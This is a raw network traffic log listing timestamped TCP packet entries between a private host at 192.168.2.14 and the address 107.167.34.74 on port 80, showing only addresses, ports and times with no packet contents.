Mar 8, 2025 11:40:55.872190952 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872199059 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872226000 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872246981 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872258902 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872260094 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872291088 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872292995 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872324944 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872356892 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872391939 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872421980 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872421980 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872426987 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872483015 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872499943 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872531891 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872539043 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872627974 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872642994 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872675896 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872697115 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872711897 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872711897 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872745991 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872765064 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872786999 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872786999 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872800112 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872817039 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872850895 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872852087 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872884989 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872890949 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872920036 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872936964 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872956038 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872956038 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872982025 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872992039 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873023033 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873023987 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873059034 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873064995 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873100042 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873100042 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873133898 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873136044 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873167038 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873172998 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873199940 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873202085 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873233080 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873238087 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873270035 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873275042 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873302937 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873303890 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873337984 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873338938 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873373032 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.873375893 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.873418093 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937369108 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937504053 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937552929 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937552929 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937561035 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937591076 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937597036 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937633038 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937638044 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937669039 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937679052 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937721968 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937724113 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937757969 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937762022 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937792063 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937793016 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937825918 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937832117 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937860966 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937870979 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937912941 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937915087 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937959909 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.937966108 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.937999964 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938004971 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938035011 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938036919 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938066959 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938077927 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938105106 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938142061 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938146114 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938189983 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938199043 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938232899 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938241005 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938265085 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938275099 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938313007 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938321114 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938355923 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938364983 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938390017 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938393116 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938422918 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938435078 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938451052 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938456059 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938493967 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938508034 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938550949 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938560963 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938595057 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938597918 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938632965 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938633919 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938668013 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938674927 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938702106 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938711882 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938739061 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938744068 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938775063 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938781023 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938813925 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938832045 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938870907 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938884020 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938918114 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938929081 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938951015 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.938951969 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938985109 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.938987970 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939019918 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939021111 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939053059 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939062119 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939090014 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939122915 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939140081 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939141035 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939157009 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939166069 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939189911 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939233065 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939234018 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939234018 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939275026 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939285994 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939321041 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939327955 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939352036 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939363956 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939388990 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939395905 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939421892 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939433098 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939456940 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939488888 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939490080 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939502954 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939524889 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939532995 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939558983 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939567089 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939593077 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939601898 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.939626932 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939661026 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939693928 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939727068 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939759016 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939790964 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939824104 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939857006 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939901114 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939933062 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939964056 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.939980984 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.940012932 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.940047026 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.940078974 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.940112114 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.940145016 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.940177917 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.940210104 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.940213919 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.940222025 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.940247059 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.007945061 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008074999 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008132935 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008167982 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008183956 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008183956 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008210897 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008220911 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008253098 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008287907 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008328915 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008371115 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008372068 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008404970 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008435011 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008440971 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008472919 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008485079 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008507967 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008511066 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008538008 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008570910 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008577108 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008605003 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008611917 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008636951 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008671045 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008677959 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008708954 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008708954 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.008743048 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008775949 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008807898 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008841038 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008872986 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008904934 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008938074 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.008970976 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009002924 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009035110 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009069920 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009104013 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009138107 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009170055 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009202003 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009234905 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009268999 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009305954 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009340048 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009371996 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009407043 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009438992 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009471893 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009505987 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009541035 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009572983 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009605885 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009639025 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009673119 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009713888 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.009829998 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.027163029 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027218103 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.027241945 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027288914 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.027297020 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027332067 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027365923 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027371883 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.027399063 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027434111 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027467012 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027501106 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027530909 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027564049 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027597904 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.027635098 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.028564930 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.071162939 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071208000 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071259975 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.071319103 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071353912 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071383953 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071412086 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.071412086 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.071436882 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071491957 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071547031 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071580887 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071610928 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071651936 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071707010 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071736097 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071789026 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071822882 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071856976 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071890116 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071948051 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.071981907 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072041988 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072094917 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072128057 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072163105 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072197914 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072241068 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072294950 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072377920 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072412014 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072448015 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072489023 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072521925 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072555065 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072588921 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072621107 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072654009 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072686911 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072720051 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072772026 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072805882 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072839022 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072871923 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072900057 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072915077 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.072932005 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072938919 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.072964907 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.072997093 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073034048 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073071003 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073103905 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073137045 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073170900 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073204041 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073235989 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073268890 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073302984 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073328018 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073343039 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073357105 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073371887 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073385954 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073401928 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.073415041 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.081680059 CET	50336	80	192.168.2.14	107.167.34.74
